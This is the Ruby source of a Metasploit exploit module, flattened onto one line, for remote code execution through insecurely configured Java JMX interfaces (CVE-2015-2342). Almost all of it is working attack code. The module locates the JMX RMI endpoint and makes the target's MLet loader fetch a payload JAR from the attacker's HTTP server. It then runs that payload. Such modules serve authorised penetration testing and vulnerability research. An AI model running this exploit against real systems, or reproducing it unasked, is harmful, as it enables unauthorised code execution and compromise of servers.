## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::Java::Rmi::Client def initialize(info = {}) super(update_info(info, 'Name' => 'Java JMX Server Insecure Configuration Java Code Execution', 'Description' => %q{ This module takes advantage a Java JMX interface insecure configuration, which would allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while interfaces with authentication enabled will be vulnerable only if a weak configuration is deployed (allowing to use javax.management.loading.MLet, having a security manager allowing to load a ClassLoader MBean, etc.). }, 'Author' => [ 'Braden Thomas', # Attack vector discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'], ['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'], ['CVE', '2015-2342'] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Targets' => [ [ 'Generic (Java Payload)', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2013-05-22' )) register_options([ Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']), Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi']) ]) register_common_rmi_ports_and_services end def post_auth? true end def on_request_uri(cli, request) if @jar.nil? p = regenerate_payload(cli) @jar = p.encoded_jar({random:true}) paths = [ ["metasploit", "JMXPayloadMBean.class"], ["metasploit", "JMXPayload.class"], ] @jar.add_file('metasploit/', '') paths.each do |path_parts| path = ['java', path_parts].flatten.join('/') contents = ::MetasploitPayloads.read(path) @jar.add_file(path_parts.join('/'), contents) end end if request.uri =~ /mlet$/ jar = "#{rand_text_alpha(8 + rand(8))}.jar" mlet = "" send_response(cli, mlet, { 'Content-Type' => 'application/octet-stream', 'Pragma' => 'no-cache' }) print_status("Replied to request for mlet") elsif request.uri =~ /\.jar$/i send_response(cli, @jar.pack, { 'Content-Type' => 'application/java-archive', 'Pragma' => 'no-cache' }) print_status("Replied to request for payload JAR") end end def autofilter return true end def check connect unless is_rmi? return Exploit::CheckCode::Safe end mbean_server = discover_endpoint disconnect if mbean_server.nil? return Exploit::CheckCode::Safe end connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) unless is_rmi? return Exploit::CheckCode::Unknown end jmx_endpoint = handshake(mbean_server) disconnect if jmx_endpoint.nil? return Exploit::CheckCode::Detected end Exploit::CheckCode::Appears end def exploit vprint_status("Starting service...") start_service @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}" connect print_status("Sending RMI Header...") unless is_rmi? fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") end print_status("Discovering the JMXRMI endpoint...") mbean_server = discover_endpoint disconnect if mbean_server.nil? fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint") else print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}") end # First try to connect to the original RHOST, since the mbean address may be inaccessible begin connect(true, { 'RPORT' => mbean_server[:port] }) rescue Rex::ConnectionError # If that fails, try connecting to the listed address instead connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) end unless is_rmi? fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server") end print_status("Proceeding with handshake...") jmx_endpoint = handshake(mbean_server) if jmx_endpoint.nil? fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server") else print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}") end print_status("Loading payload...") unless load_payload(jmx_endpoint) fail_with(Failure::Unknown, "#{peer} - Failed to load the payload") end print_status("Executing payload...") send_jmx_invoke( object_number: jmx_endpoint[:object_number], uid_number: jmx_endpoint[:uid].number, uid_time: jmx_endpoint[:uid].time, uid_count: jmx_endpoint[:uid].count, object: "#{@mlet}:name=jmxpayload,id=1", method: 'run' ) disconnect end def is_rmi? send_header ack = recv_protocol_ack if ack.nil? return false end true end def discover_endpoint rmi_classes_and_interfaces = [ 'javax.management.remote.rmi.RMIConnectionImpl', 'javax.management.remote.rmi.RMIConnectionImpl_Stub', 'javax.management.remote.rmi.RMIConnector', 'javax.management.remote.rmi.RMIConnectorServer', 'javax.management.remote.rmi.RMIIIOPServerImpl', 'javax.management.remote.rmi.RMIJRMPServerImpl', 'javax.management.remote.rmi.RMIServerImpl', 'javax.management.remote.rmi.RMIServerImpl_Stub', 'javax.management.remote.rmi.RMIConnection', 'javax.management.remote.rmi.RMIServer' ] ref = send_registry_lookup(name: datastore['JMXRMI']) return nil if ref.nil? unless rmi_classes_and_interfaces.include? ref[:object] vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}") return nil end ref end def handshake(mbean) begin opts = { object_number: mbean[:object_number], uid_number: mbean[:uid].number, uid_time: mbean[:uid].time, uid_count: mbean[:uid].count } if datastore['JMX_ROLE'] username = datastore['JMX_ROLE'] password = datastore['JMX_PASSWORD'] opts.merge!(username: username, password: password) end ref = send_new_client(opts) rescue ::Rex::Proto::Rmi::Exception => e vprint_error("JMXRMI discovery raised an exception of type #{e.message}") return nil end ref end def load_payload(conn_stub) vprint_status("Getting JMXPayload instance...") begin res = send_jmx_get_object_instance( object_number: conn_stub[:object_number], uid_number: conn_stub[:uid].number, uid_time: conn_stub[:uid].time, uid_count: conn_stub[:uid].count, name: "#{@mlet}:name=jmxpayload,id=1" ) rescue ::Rex::Proto::Rmi::Exception => e case e.message when 'javax.management.InstanceNotFoundException' vprint_warning("JMXPayload instance not found, trying to load") return load_payload_from_url(conn_stub) else vprint_error("getObjectInstance returned unexpected exception #{e.message}") return false end end return false if res.nil? true end def load_payload_from_url(conn_stub) vprint_status("Creating javax.management.loading.MLet MBean...") begin res = send_jmx_create_mbean( object_number: conn_stub[:object_number], uid_number: conn_stub[:uid].number, uid_time: conn_stub[:uid].time, uid_count: conn_stub[:uid].count, name: 'javax.management.loading.MLet' ) rescue ::Rex::Proto::Rmi::Exception => e case e.message when 'javax.management.InstanceAlreadyExistsException' vprint_good("javax.management.loading.MLet already exists") res = true when 'java.lang.SecurityException' vprint_error(" The provided user hasn't enough privileges") res = nil else vprint_error("createMBean raised unexpected exception #{e.message}") res = nil end end if res.nil? vprint_error("The request to createMBean failed") return false end vprint_status("Getting javax.management.loading.MLet instance...") begin res = send_jmx_get_object_instance( object_number: conn_stub[:object_number], uid_number: conn_stub[:uid].number, uid_time: conn_stub[:uid].time, uid_count: conn_stub[:uid].count, name: 'DefaultDomain:type=MLet' ) rescue ::Rex::Proto::Rmi::Exception => e vprint_error("getObjectInstance returned unexpected exception: #{e.message}") return false end if res.nil? vprint_error("The request to GetObjectInstance failed") return false end vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") begin res = send_jmx_invoke( object_number: conn_stub[:object_number], uid_number: conn_stub[:uid].number, uid_time: conn_stub[:uid].time, uid_count: conn_stub[:uid].count, object: 'DefaultDomain:type=MLet', method: 'getMBeansFromURL', args: { 'java.lang.String' => "#{get_uri}/mlet" } ) rescue ::Rex::Proto::Rmi::Exception => e vprint_error("invoke() returned unexpected exception: #{e.message}") return false end if res.nil? vprint_error("The call to getMBeansFromURL failed") return false end true end end